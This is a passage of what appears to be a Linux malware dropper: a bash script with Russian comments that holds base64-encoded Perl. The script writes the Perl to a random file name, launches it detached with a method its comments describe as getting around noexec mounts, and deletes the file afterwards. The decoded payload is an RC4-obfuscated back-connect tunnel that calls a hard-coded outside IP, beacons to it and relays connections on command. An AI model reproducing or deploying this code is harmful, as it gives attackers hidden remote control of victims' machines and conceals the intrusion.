4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_101f2449() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQ